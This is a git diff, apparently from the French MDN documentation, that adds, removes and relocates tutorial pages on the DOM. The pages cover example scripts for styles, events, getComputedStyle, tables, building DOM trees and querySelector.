+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i<len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+
+window.onload = function(event){
+  showEventProperties(event);
+}
+</script>
+</head>
+
+<body>
+<h1>Properties of the DOM <span id="eventType"></span> Event Object</h1>
+</body>
+
+</html>
+ +

Exemple 8 : utilisation de l'interface DOM Table

+ +

L'interface DOM HTMLTableElement fournit certaines méthodes utilitaires permettant de créer et de manipuler des tableaux. Deux méthodes utilisées fréquemment sont {{domxref("HTMLTableElement.insertRow")}} et {{domxref("tableRow.insertCell")}}

+ +

Pour ajouter une ligne et quelques cellules à un tableau existant :

+ +
<table id="table0">
+ <tr>
+  <td>Row 0 Cell 0</td>
+  <td>Row 0 Cell 1</td>
+ </tr>
+</table>
+
+<script>
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+    text;
+
+for (var i = 0; i < 2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+</script>
+ +

Notes

+ +
    +
  • N'utilisez jamais la propriété {{domxref("element.innerHTML","innerHTML")}} d'un tableau pour le modifier, même si vous pouvez l'utiliser pour créer un tableau entier ou le contenu d'une cellule.
    • +
  • Si vous utilisez les méthodes DOM Core {{domxref("document.createElement")}} et {{domxref("Node.appendChild")}} pour créer des lignes et cellules de tableau, il est nécessaire de les ajouter à un élément tbody dans Internet Explorer, tandis que les autres navigateurs vous permettront de les ajouter à un élément table (les lignes seront ajoutées au dernier élément tbody).
    • +
  • Un certain nombre d'autres méthodes utilitaires faisant partie de l'interface table peuvent être utilisées pour créer et modifier des tableaux.
    • +
+ + + + diff --git a/files/fr/web/api/document_object_model/exemples/index.html b/files/fr/web/api/document_object_model/exemples/index.html deleted file mode 100644 index 08bd432a1e..0000000000 --- a/files/fr/web/api/document_object_model/exemples/index.html +++ /dev/null @@ -1,369 +0,0 @@ ---- -title: Exemples -slug: Web/API/Document_Object_Model/Exemples -tags: - - DOM - - Exemples -translation_of: Web/API/Document_Object_Model/Examples ---- -

Cette page présente quelques exemples plus détaillés de développement Web et XML utilisant le DOM. Partout où c'est possible, les exemples utilisent des API courantes, des astuces et des modèles en JavaScript pour manipuler l'objet de document.

- -

Exemple 1 : height (hauteur) et width (largeur)

- -

L'exemple qui suit montre l'utilisation des propriétés height et width pour dimensionner des images de diverses tailles :

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>width/height example</title>
-<script>
-function init() {
-  var arrImages = new Array(3);
-
-  arrImages[0] = document.getElementById("image1");
-  arrImages[1] = document.getElementById("image2");
-  arrImages[2] = document.getElementById("image3");
-
-  var objOutput = document.getElementById("output");
-  var strHtml = "<ul>";
-
-  for (var i = 0; i < arrImages.length; i++) {
-    strHtml += "<li>image" + (i+1) +
-            ": height=" + arrImages[i].height +
-            ", width=" + arrImages[i].width +
-            ", style.height=" + arrImages[i].style.height +
-            ", style.width=" + arrImages[i].style.width +
-            "<\/li>";
-  }
-
-  strHtml += "<\/ul>";
-
-  objOutput.innerHTML = strHtml;
-}
-</script>
-</head>
-<body onload="init();">
-
-<p>Image 1: no height, width, or style
-  <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif">
-</p>
-
-<p>Image 2: height="50", width="500", but no style
-  <img id="image2"
-       src="http://www.mozilla.org/images/mozilla-banner.gif"
-       height="50" width="500">
-</p>
-
-<p>Image 3: no height, width, but style="height: 50px; width: 500px;"
-  <img id="image3"
-       src="http://www.mozilla.org/images/mozilla-banner.gif"
-       style="height: 50px; width: 500px;">
-</p>
-
-<div id="output"> </div>
-</body>
-</html>
- -

Exemple 2 : attributs d'image

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>Modifying an image border</title>
-
-<script>
-function setBorderWidth(width) {
-  document.getElementById("img1").style.borderWidth = width + "px";
-}
-</script>
-</head>
-
-<body>
-<p>
-  <img id="img1"
-       src="image1.gif"
-       style="border: 5px solid green;"
-       width="100" height="100" alt="border test">
-</p>
-
-<form name="FormName">
-  <input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" />
-  <input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" />
-</form>
-
-</body>
-</html>
- -

Exemple 3 : manipulation de styles

- -

Dans cet exemple simple, on accède à certaines propriétés basiques de style d'un élément de paragraphe HTML à l'aide de son objet style. L'objet style de l'élément et ses propriétés de style CSS peuvent être récupérés et définis depuis le DOM. Dans ce cas-ci, les styles individuels sont manipulés directement. Dans l'exemple suivant (l'exemple 4), on utilisera les feuilles de style et leurs règles pour changer les styles de documents entiers.

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>Changing color and font-size example</title>
-
-<script>
-function changeText() {
-  var p = document.getElementById("pid");
-
-  p.style.color = "blue"
-  p.style.fontSize = "18pt"
-}
-</script>
-</head>
-<body>
-
-<p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p>
-
-<form>
-  <p><input value="rec" type="button" onclick="changeText();" /></p>
-</form>
-
-</body>
-</html>
- -

Exemple 4 : utilisation de feuilles de style

- -

La propriété styleSheets de l'objet document renvoie une liste des feuilles de style qui ont été chargées pour ce document. On peut accéder à ces feuilles de style et leurs règles individuelles à l'aide des objets stylesheet, style et CSSRule, comme montré dans cet exemple qui affiche tous les sélecteurs de règles de style dans la console.

- -
var ss = document.styleSheets;
-
-for(var i = 0; i < ss.length; i++) {
-  for(var j = 0; j < ss[i].cssRules.length; j++) {
-    dump( ss[i].cssRules[j].selectorText + "\n" );
-  }
-}
- -

Pour un document avec une seule feuille de style dans laquelle les trois règles suivantes sont définies :

- -
BODY { background-color: darkblue; }
-P { font-face: Arial; font-size: 10pt; margin-left: .125in; }
-#lumpy { display: none; }
-
- -

Ce script affiche les lignes suivantes :

- -
BODY
-P
-#LUMPY
-
- -

Exemple 5 : propagation d'évènements

- -

Cet exemple montre comment les évènements se déclenchent et sont gérés dans le DOM d'une manière très simple. Lorsque l'élément BODY de ce document HTML est chargé, un écouteur d'évènement est enregistré sur la ligne supérieure de l'élément TABLE. Celui-ci gère l'évènement en exécutant la fonction stopEvent, qui modifie la valeur de la cellule inférieure du tableau.

- -

Cependant, stopEvent appelle également une méthode d'objet event, {{domxref("event.stopPropagation")}} , qui empêche l'évènement de se propager (bubbling) plus haut dans le DOM. Notez que le tableau lui-même dispose d'un gestionnaire d'évènement {{domxref("element.onclick","onclick")}} qui devrait afficher un message lorsqu'on clique sur le tableau. Mais comme la méthode stopEvent a interrompu la propagation, après que les données du tableau aient été mises à jour, la phase évènementielle est effectivement arrêtée et un message d'alerte est affiché pour le confirmer.

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>Event Propagation</title>
-
-<style>
-#t-daddy { border: 1px solid red }
-#c1 { background-color: pink; }
-</style>
-
-<script>
-function stopEvent(ev) {
-  c2 = document.getElementById("c2");
-  c2.innerHTML = "hello";
-
-  // cela devrait empêcher t-daddy d'obtenir le click.
-  ev.stopPropagation();
-  alert("event propagation halted.");
-}
-
-function load() {
-  elem = document.getElementById("tbl1");
-  elem.addEventListener("click", stopEvent, false);
-}
-</script>
-</head>
-
-<body onload="load();">
-
-<table id="t-daddy" onclick="alert('hi');">
-  <tr id="tbl1">
-    <td id="c1">one</td>
-  </tr>
-  <tr>
-    <td id="c2">two</td>
-  </tr>
-</table>
-
-</body>
-</html>
- -

Exemple 6 : getComputedStyle

- -

Cet exemple montre comment la méthode {{domxref("window.getComputedStyle")}} peut être utilisée pour obtenir les styles d'un élément qui ne sont pas définis dans l'attribut style ou à l'aide de JavaScript (c'est-à-dire, elem.style.backgroundColor="rgb(173, 216, 230)"). Ces derniers types de styles peuvent être récupérés avec la propriété plus directe {{domxref("element.style", "elt.style")}} , dont les propriétés sont listées dans la liste des propriétés DOM CSS.

- -

getComputedStyle() renvoie un objet ComputedCSSStyleDeclaration, dont les propriétés de style individuelles peuvent être référencées à l'aide de sa méthode getPropertyValue() comme montré dans l'exemple suivant.

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-
-<title>getComputedStyle example</title>
-
-<script>
-function cStyles() {
-  var RefDiv = document.getElementById("d1");
-  var txtHeight = document.getElementById("t1");
-  var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
-
-  txtHeight.value = h_style;
-
-  var txtWidth = document.getElementById("t2");
-  var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
-
-  txtWidth.value = w_style;
-
-  var txtBackgroundColor = document.getElementById("t3");
-  var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
-
-  txtBackgroundColor.value = b_style;
-}
-</script>
-
-<style>
-#d1 {
-  margin-left: 10px;
-  background-color: rgb(173, 216, 230);
-  height: 20px;
-  max-width: 20px;
-}
-</style>
-
-</head>
-
-<body>
-
-<div id="d1">&nbsp;</div>
-
-<form action="">
-  <p>
-    <button type="button" onclick="cStyles();">getComputedStyle</button>
-    height<input id="t1" type="text" value="1" />
-    max-width<input id="t2" type="text" value="2" />
-    bg-color<input id="t3" type="text" value="3" />
-  </p>
-</form>
-
-</body>
-</html>
- -

Exemple 7 : affichage des propriétés d'un objet event

- -

Cet exemple utilise des méthodes DOM pour afficher les propriétés d'un objet {{domxref("window.onload")}} {{domxref("event")}}   et leurs valeurs dans un tableau. Il montre également une technique utile utilisant une boucle for..in pour parcourir les propriétés d'un objet et obtenir leurs valeurs.

- -

Les propriétés des objets event diffèrent sensiblement entre les différents navigateurs, la spécification norme DOM liste les propriétés standard, mais beaucoup de navigateurs ont ajouté un bon nombre de propriétés supplémentaires.

- -

Placez le code qui suit dans une fichier texte vide et chargez-le dans différents navigateurs, vous serez surpris des différences entre le nombre et le nom des propriétés. Vous pouvez également ajouter quelques éléments à la page et appeler cette fonction depuis d'autres gestionnaires d'évènements.

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<meta charset="utf-8"/>
-<title>Show Event properties</title>
-
-<style>
-table { border-collapse: collapse; }
-thead { font-weight: bold; }
-td { padding: 2px 10px 2px 10px; }
-
-.odd { background-color: #efdfef; }
-.even { background-color: #ffffff; }
-</style>
-
-<script>
-
-function showEventProperties(e) {
-  function addCell(row, text) {
-    var cell = row.insertCell(-1);
-    cell.appendChild(document.createTextNode(text));
-  }
-
-  var e = e || window.event;
-  document.getElementById('eventType').innerHTML = e.type;
-
-  var table = document.createElement('table');
-  var thead = table.createTHead();
-  var row = thead.insertRow(-1);
-  var lableList = ['#', 'Property', 'Value'];
-  var len = lableList.length;
-
-  for (var i=0; i<len; i++) {
-    addCell(row, lableList[i]);
-  }
-
-  var tbody = document.createElement('tbody');
-  table.appendChild(tbody);
-
-  for (var p in e) {
-    row = tbody.insertRow(-1);
-    row.className = (row.rowIndex % 2)? 'odd':'even';
-    addCell(row, row.rowIndex);
-    addCell(row, p);
-    addCell(row, e[p]);
-  }
-
-  document.body.appendChild(table);
-}
-
-window.onload = function(event){
-  showEventProperties(event);
-}
-</script>
-</head>
-
-<body>
-<h1>Properties of the DOM <span id="eventType"></span> Event Object</h1>
-</body>
-
-</html>
- -

Exemple 8 : utilisation de l'interface DOM Table

- -

L'interface DOM HTMLTableElement fournit certaines méthodes utilitaires permettant de créer et de manipuler des tableaux. Deux méthodes utilisées fréquemment sont {{domxref("HTMLTableElement.insertRow")}} et {{domxref("tableRow.insertCell")}}

- -

Pour ajouter une ligne et quelques cellules à un tableau existant :

- -
<table id="table0">
- <tr>
-  <td>Row 0 Cell 0</td>
-  <td>Row 0 Cell 1</td>
- </tr>
-</table>
-
-<script>
-var table = document.getElementById('table0');
-var row = table.insertRow(-1);
-var cell,
-    text;
-
-for (var i = 0; i < 2; i++) {
-  cell = row.insertCell(-1);
-  text = 'Row ' + row.rowIndex + ' Cell ' + i;
-  cell.appendChild(document.createTextNode(text));
-}
-</script>
- -

Notes

- -
    -
  • N'utilisez jamais la propriété {{domxref("element.innerHTML","innerHTML")}} d'un tableau pour le modifier, même si vous pouvez l'utiliser pour créer un tableau entier ou le contenu d'une cellule.
    • -
  • Si vous utilisez les méthodes DOM Core {{domxref("document.createElement")}} et {{domxref("Node.appendChild")}} pour créer des lignes et cellules de tableau, il est nécessaire de les ajouter à un élément tbody dans Internet Explorer, tandis que les autres navigateurs vous permettront de les ajouter à un élément table (les lignes seront ajoutées au dernier élément tbody).
    • -
  • Un certain nombre d'autres méthodes utilitaires faisant partie de l'interface table peuvent être utilisées pour créer et modifier des tableaux.
    • -
- - - - diff --git a/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.html b/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.html new file mode 100644 index 0000000000..9e74fa2870 --- /dev/null +++ b/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.html @@ -0,0 +1,146 @@ +--- +title: Comment créer un arbre DOM +slug: Comment_créer_un_arbre_DOM +tags: + - AJAX + - DOM + - Extensions +translation_of: Web/API/Document_object_model/How_to_create_a_DOM_tree +--- +

 

+ +

Cet article décrit comment utiliser l'API DOM Core (en) en JavaScript pour créer et modifier des objets DOM. Il concerne toutes les applications basées sur Gecko (telles que Firefox) sur du code avec privilèges (par exemple les extensions) ou sans privilège (des pages Web).

+ +

Créer dynamiquement un arbre DOM

+ +

Considérons le document XML suivant :

+ +
<?xml version="1.0"?>
+<people>
+  <person first-name="eric" middle-initial="H" last-name="jung">
+    <address street="321 south st" city="denver" state="co" country="usa"/>
+    <address street="123 main st" city="arlington" state="ma" country="usa"/>
+  </person>
+
+  <person first-name="jed" last-name="brown">
+    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
+    <address street="123 west st" city="seattle" state="wa" country="usa"/>
+    <address street="321 south avenue" city="denver" state="co" country="usa"/>
+  </person>
+</people>
+
+ +

L'API DOM du W3C, supportée par Mozilla, peut être utilisée pour créer une représentation en mémoire de ce document comme cela :

+ +
var doc = document.implementation.createDocument("", "", null);
+var peopleElem = doc.createElement("people");
+
+var personElem1 = doc.createElement("person");
+personElem1.setAttribute("first-name", "eric");
+personElem1.setAttribute("middle-initial", "h");
+personElem1.setAttribute("last-name", "jung");
+
+var addressElem1 = doc.createElement("address");
+addressElem1.setAttribute("street", "321 south st");
+addressElem1.setAttribute("city", "denver");
+addressElem1.setAttribute("state", "co");
+addressElem1.setAttribute("country", "usa");
+personElem1.appendChild(addressElem1);
+
+var addressElem2 = doc.createElement("address");
+addressElem2.setAttribute("street", "123 main st");
+addressElem2.setAttribute("city", "arlington");
+addressElem2.setAttribute("state", "ma");
+addressElem2.setAttribute("country", "usa");
+personElem1.appendChild(addressElem2);
+
+var personElem2 = doc.createElement("person");
+personElem2.setAttribute("first-name", "jed");
+personElem2.setAttribute("last-name", "brown");
+
+var addressElem3 = doc.createElement("address");
+addressElem3.setAttribute("street", "321 north st");
+addressElem3.setAttribute("city", "atlanta");
+addressElem3.setAttribute("state", "ga");
+addressElem3.setAttribute("country", "usa");
+personElem2.appendChild(addressElem3);
+
+var addressElem4 = doc.createElement("address");
+addressElem4.setAttribute("street", "123 west st");
+addressElem4.setAttribute("city", "seattle");
+addressElem4.setAttribute("state", "wa");
+addressElem4.setAttribute("country", "usa");
+personElem2.appendChild(addressElem4);
+
+var addressElem5 = doc.createElement("address");
+addressElem5.setAttribute("street", "321 south avenue");
+addressElem5.setAttribute("city", "denver");
+addressElem5.setAttribute("state", "co");
+addressElem5.setAttribute("country", "usa");
+personElem2.appendChild(addressElem5);
+
+peopleElem.appendChild(personElem1);
+peopleElem.appendChild(personElem2);
+doc.appendChild(peopleElem);
+
+ +

Voir également le chapitre DOM du tutoriel XUL

+ +

Vous pouvez automatiser la création de l'arbre DOM en utilisant un algorithme inversé JSON associé avec la représentation JSON suivante :

+ +
{
+  "people": {
+    "person": [{
+      "address": [{
+        "@street": "321 south st",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }, {
+        "@street": "123 main st",
+        "@city": "arlington",
+        "@state": "ma",
+        "@country": "usa"
+      }],
+      "@first-name": "eric",
+      "@middle-initial": "H",
+      "@last-name": "jung"
+    }, {
+      "address": [{
+        "@street": "321 north st",
+        "@city": "atlanta",
+        "@state": "ga",
+        "@country": "usa"
+      }, {
+        "@street": "123 west st",
+        "@city": "seattle",
+        "@state": "wa",
+        "@country": "usa"
+      }, {
+        "@street": "321 south avenue",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }],
+      "@first-name": "jed",
+      "@last-name": "brown"
+    }]
+  }
+}
+ +

Et après ?

+ +

Les arbres DOM peuvent être interrogés en utilisant des expressions XPath, convertis en chaîne de caractères ou écris dans un fichier local ou distant en utilisant XMLSerializer (sans avoir à le convertir en chaîne de caractères auparavant), envoyés à un serveur Web (via XMLHttpRequest), transformés en utilisant XSLT, XLink,  convertis en un objet JavaScript à travers un algorithme JXON, etc.

+ +

Vous pouvez utiliser des arbres DOM pour modéliser des données qui ne peuvent pas être traitées avec RDF (ou si vous n'aimez pas RDF). Un autre champ d'action est que, comme XUL est du XML, l'UI de votre application peut être manipulée dynamiquement, téléchargée, enregistrée, chargée, convertie ou transformée relativement facilement.

+ +

Voir aussi

+ + diff --git "a/files/fr/web/api/document_object_model/les_\303\251v\303\250nements_et_le_dom/index.html" "b/files/fr/web/api/document_object_model/les_\303\251v\303\250nements_et_le_dom/index.html" deleted file mode 100644 index cd96a7446c..0000000000 --- "a/files/fr/web/api/document_object_model/les_\303\251v\303\250nements_et_le_dom/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Les évènements et le DOM -slug: Web/API/Document_Object_Model/Les_évènements_et_le_DOM -tags: - - API - - DOM - - Guide - - évènements -translation_of: Web/API/Document_Object_Model/Events ---- -

Introduction

- -

Ce chapitre décrit le modèle d'événement DOM. L'interface Event elle-même est décrite, ainsi que les interfaces pour l'enregistrement des évènements sur les noeuds dans le DOM, les écouteurs d'évènements et d'autres exemples montrant les relations des différentes interfaces d'évènements entre elles.

- -

Il existe un excellent diagramme qui explique clairement les trois phases du flux d'évènements à travers le DOM dans le document sur les évènements DOM Niveau 3.

- -

Voir aussi l'exemple 5 : Propagation des évènements dans le chapitre "Exemples" pour des exemples détaillés sur le déplacement des évènements à travers le DOM.

- -

Enregistrement des écouteurs d'évènements

- -

Il y a 3 moyens d'enregistrer les gestionnaires d'évènements pour un élément DOM.

- -

EventTarget.addEventListener

- -
// Supposons que myButton est un élément de bouton
-myButton.addEventListener('click', function(){alert('Hello world');}, false);
-
- -

C'est la méthode à utiliser dans les pages web modernes.

- -

Note : Internet Explorer 6-8 ne prend pas en charge cette méthode, il offre une API similaire {{domxref("EventTarget.attachEvent")}} à la place. Pour la compatibilité entre navigateurs, utilisez l'une des nombreuses bibliothèques JavaScript disponibles.

- -

Plus de détails peuvent être trouvés sur la page de référence {{domxref("EventTarget.addEventListener")}}.

- -

attribut HTML

- -
<button onclick="alert('Hello world!')">
-
- -

Le code JavaScript de l'attribut est passé à l'objet évènement par le paramètre event. La valeur renvoyée est traitée d'une façon spéciale décrite dans la spécification HTML.

- -

Ce moyen devrait être évité. Cela rend le balisage plus grand et moins lisible. Les aspects de contenu / structure et comportement ne sont pas bien séparés, rendant un bogue plus difficile à trouver.

- -

Propriétés d'un élément DOM

- -
// Supposons que myButton est un élément de bouton
-myButton.onclick = function(event){alert('Hello world');};
-
- -

La fonction peut être définie pour prendre un paramètre d'event. La valeur renvoyée est traitée de façon spéciale décrite dans la spécification HTML.

- -

Le problème avec cette méthode est qu'un seul gestionnaire peut être défini par élément et par évènement.

- -

Accès aux interfaces d'évènements

- -

Les gestionnaires d'évènements peuvent être attachés à divers objets y compris les éléments DOM, le document, l'objet fenêtre, etc. Lorsqu'un évènement se produit, un objet évènement est créé et passé séquentiellement aux écouteurs d'évènements.

- -

L'interface {{domxref("Event")}} est accessible à partir de la fonction gestionnaire, via l'objet événement passé en premier argument. L'exemple simple suivant montre comment un objet d'événement est transmis à la fonction de gestionnaire d'événements et peut être utilisé à partir d'une telle fonction.

- -
function foo(evt) {
-  // le paramètre evt est automatiquement assigné à l'objet évènement
-  alert(evt);
-}
-table_el.onclick = foo;
-
- - - - diff --git "a/files/fr/web/api/document_object_model/localisation_des_\303\251l\303\251ments_dom_avec_les_s\303\251lecteurs/index.html" "b/files/fr/web/api/document_object_model/localisation_des_\303\251l\303\251ments_dom_avec_les_s\303\251lecteurs/index.html" deleted file mode 100644 index aae8808be0..0000000000 --- "a/files/fr/web/api/document_object_model/localisation_des_\303\251l\303\251ments_dom_avec_les_s\303\251lecteurs/index.html" +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Localisation des éléments DOM avec les sélecteurs -slug: >- - Web/API/Document_Object_Model/Localisation_des_éléments_DOM_avec_les_sélecteurs -tags: - - API - - DOM - - Débutant - - Elements - - Sélecteurs -translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors ---- -
{{ gecko_minversion_header("1.9.1") }}
- -

L'API Selectors fournit des méthodes simples et rapides pour retrouver les noeuds Element du DOM par correspondance avec un jeu de sélecteurs. C'est beaucoup plus rapide que les techniques passées, pour lesquelles il était nécessaire, par exemple, d'utiliser une boucle en code JavaScript pour localiser l'élément spécifique que l'on devait trouver.

- -

L'interface NodeSelector

- -

Cette spécification ajoute deux nouvelles méthodes à tous les objets mettant en oeuvre les interfaces Document, DocumentFragment ou Element :

- -
-
querySelector
-
Renvoie le premier noeud Element correspondant dans la sous-arborescence du noeud. Si aucun noeud correspondant n'est trouvé, null est renvoyé.
-
querySelectorAll
-
Renvoie une NodeList (liste de noeuds) contenant tous les noeuds Element correspondants dans la sous-arborescence du noeud, ou une NodeList vide si aucune correspondance n'a été trouvée.
-
- -
Note : La NodeList retournée par querySelectorAll() n'est pas directe. À la différence des autres méthodes de requêtes DOM qui retournent une liste de noeuds directe.
- -

Vous pouvez trouver des exemples et des détails en lisant la documentation sur les méthodes querySelector() et querySelectorAll(), ainsi que dans l'article Extraits de code pour querySelector.

- -

Sélecteurs

- -

Les méthodes de Selector acceptent un ou plusieurs sélecteurs séparés par des virgules pour déterminer les éléments à renvoyer. Par exemple, pour sélectionner tous les éléments paragraphe (p) dans le document dont la classe CSS est soit warning soit note, vous pouvez utiliser ce qui suit :

- -
var special = document.querySelectorAll( "p.warning, p.note" );
- -

Vous pouvez aussi interroger par l'ID (identifiant). Par exemple :

- -
var el = document.querySelector( "#main, #basic, #exclamation" );
- -

Après l'exécution du code ci-dessus, el contient le premier élément dans le document dont l'ID est main, basic ou exclamation.

- -

Vous pouvez utiliser tous les sélecteurs CSS avec les méthodes querySelector() et querySelectorAll().

- -

Voir aussi

- - diff --git a/files/fr/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/fr/web/api/document_object_model/locating_dom_elements_using_selectors/index.html new file mode 100644 index 0000000000..aae8808be0 --- /dev/null +++ b/files/fr/web/api/document_object_model/locating_dom_elements_using_selectors/index.html @@ -0,0 +1,55 @@ +--- +title: Localisation des éléments DOM avec les sélecteurs +slug: >- + Web/API/Document_Object_Model/Localisation_des_éléments_DOM_avec_les_sélecteurs +tags: + - API + - DOM + - Débutant + - Elements + - Sélecteurs +translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors +--- +
{{ gecko_minversion_header("1.9.1") }}
+ +

L'API Selectors fournit des méthodes simples et rapides pour retrouver les noeuds Element du DOM par correspondance avec un jeu de sélecteurs. C'est beaucoup plus rapide que les techniques passées, pour lesquelles il était nécessaire, par exemple, d'utiliser une boucle en code JavaScript pour localiser l'élément spécifique que l'on devait trouver.

+ +

L'interface NodeSelector

+ +

Cette spécification ajoute deux nouvelles méthodes à tous les objets mettant en oeuvre les interfaces Document, DocumentFragment ou Element :

+ +
+
querySelector
+
Renvoie le premier noeud Element correspondant dans la sous-arborescence du noeud. Si aucun noeud correspondant n'est trouvé, null est renvoyé.
+
querySelectorAll
+
Renvoie une NodeList (liste de noeuds) contenant tous les noeuds Element correspondants dans la sous-arborescence du noeud, ou une NodeList vide si aucune correspondance n'a été trouvée.
+
+ +
Note : La NodeList retournée par querySelectorAll() n'est pas directe. À la différence des autres méthodes de requêtes DOM qui retournent une liste de noeuds directe.
+ +

Vous pouvez trouver des exemples et des détails en lisant la documentation sur les méthodes querySelector() et querySelectorAll(), ainsi que dans l'article Extraits de code pour querySelector.

+ +

Sélecteurs

+ +

Les méthodes de Selector acceptent un ou plusieurs sélecteurs séparés par des virgules pour déterminer les éléments à renvoyer. Par exemple, pour sélectionner tous les éléments paragraphe (p) dans le document dont la classe CSS est soit warning soit note, vous pouvez utiliser ce qui suit :

+ +
var special = document.querySelectorAll( "p.warning, p.note" );
+ +

Vous pouvez aussi interroger par l'ID (identifiant). Par exemple :

+ +
var el = document.querySelector( "#main, #basic, #exclamation" );
+ +

Après l'exécution du code ci-dessus, el contient le premier élément dans le document dont l'ID est main, basic ou exclamation.

+ +

Vous pouvez utiliser tous les sélecteurs CSS avec les méthodes querySelector() et querySelectorAll().

+ +

Voir aussi

+ + diff --git "a/files/fr/web/api/document_object_model/pr\303\251face/index.html" "b/files/fr/web/api/document_object_model/pr\303\251face/index.html" deleted file mode 100644 index 77c272f5b2..0000000000 --- "a/files/fr/web/api/document_object_model/pr\303\251face/index.html" +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Préface -slug: Web/API/Document_Object_Model/Préface -tags: - - Référence_du_DOM_Gecko -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/API/Document_Object_Model/Preface ---- -

{{ ApiRef() }}

-

À propos de cette référence

-

Cette section décrit le guide lui-même : ceux à qui il est destiné, la manière dont sont présentées les informations, et d'utiliser les exemples de la référence dans vos propres développements avec DOM.

-

Notez que ce document est en cours de développement, et n'est pas actuellement une liste exhaustive de toutes les méthodes et propriétés DOM implémentées par Gecko. Chaque section individuelle du document (par exemple la référence de DOM document) est cependant complète pour les objets décrits. Lorsque des informations de référence pour les nombreux membres de cette énorme API deviennent disponibles, elles sont intégrées dans ce document.

-

À qui est destiné ce guide

-

Le lecteur de la Référence du DOM Gecko est un développeur Web ou utilisateur confirmé qui a une idée de la façon dont les pages Web sont construites. Cette référence évite de présumer des connaissances préalables du lecteur en ce qui concerne le DOM, XML, les serveurs et standards du Web, et même en ce qui concerne JavaScript, le langage dans lequel le DOM est rendu accessible. Cependant, il suppose que vous soyez familiers avec HTML, avec son balisage, avec la structure basique des pages Web, avec les navigateurs, et avec les feuilles de style.

-

Le contenu introductif présenté ici, avec ses nombreux exemples et ses explications détaillées, s'avèrera utile tant pour les développeurs débutants que pour les développeurs expérimentés dans le domaine du Web. Il n'est pas réservé aux « débutants » et l'on peut le considérer comme un manuel de référence évolutif de l'API.

-

Présentation de Gecko

-

Mozilla, Firefox, Netscape 6+, et les autres navigateurs basés sur Mozilla bénéficient de la même implémentation du DOM. En effet, ils utilisent tous la même technologie de base. naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain

-

Gecko, le composant logiciel de ces navigateurs qui gère l'analyse du HTML, la mise en page, le modèle objet de document, et même le rendu de toute l'interface de l'application est un moteur rapide et respectant les standards. Il implémente les standards DOM du W3C et un modèle objet de navigateur similaire au DOM, mais non standardisé (par exemple window etc.) dans le contexte des pages Web et de l'interface applicative (ou - - chrome - ) du navigateur.

-

Bien que l'interface applicative et le contenu affichés par le navigateur diffèrent en de nombreux points, le DOM les expose uniformément sous la forme d'une hiérarchie de nœuds.

-

Syntaxe de l'API

-

Chaque description dans la référence de l'API comprend la syntaxe, les paramètres entrants et sortants (lorsque le type de retour est donné), un exemple, éventuellement quelques remarques supplémentaires, et un lien vers la spécification appropriée.

-

Typiquement, les propriétés en lecture seule ont une seule ligne de syntaxe, puisqu'on peut uniquement accéder à propriétés et non les modifier. Par exemple, la syntaxe de la propriété en lecture seule availHeight de l'objet screen est présentée de la manière suivante :

-
screenObj = window.screen.availHeight;
-
-

Cela signifie qu'il est seulement possible d'utiliser la propriété dans le membre de droite d'une opération. Dans le cas des propriétés modifiables, il est possible d'assigner une valeur à la propriété, et la syntaxe est présentée de la manière suivante :

-
chaine = window.status;
-window.status =chaine;
-
-

En général, l'objet dont le membre est décrit est donné dans la description de syntaxe avec un type simple, comme element pour tous les éléments, document pour l'objet de document racine, table pour un objet de tableau, etc. Consultez Types de données importants pour plus d'informations à propos des types de données.

-

Utilisation des exemples

-

Beaucoup des exemples dans cette référence sont des fichiers complets que vous pouvez exécuter en les copiant et collant vers un nouveau fichier, puis en les ouvrant dans votre navigateur. D'autres sont des petits bouts de code. Vous pouvez les exécuter en les plaçant dans des fonctions callback de JavaScript. Par exemple, la propriété window.document peut être testée au sein d'une fonction comme celle-ci, laquelle est appelée par le bouton assorti :

-
<html>
-
-<script>
-function testWinDoc() {
-
-  doc= window.document;
-
-  alert(doc.title);
-
-}
-</script>
-
-<button onclick="testWinDoc();">test de la propriété document</button>
-
-</html>
-
-

Des pages et fonctions similaires peuvent être créés pour tous les membres qui ne sont pas déjà décrits d'une façon prête à être utilisée. Consultez la section Test de l'API DOM de l'introduction pour un canevas de test que vous pourrez utiliser pour tester plusieurs API à la fois.

-
-  
-

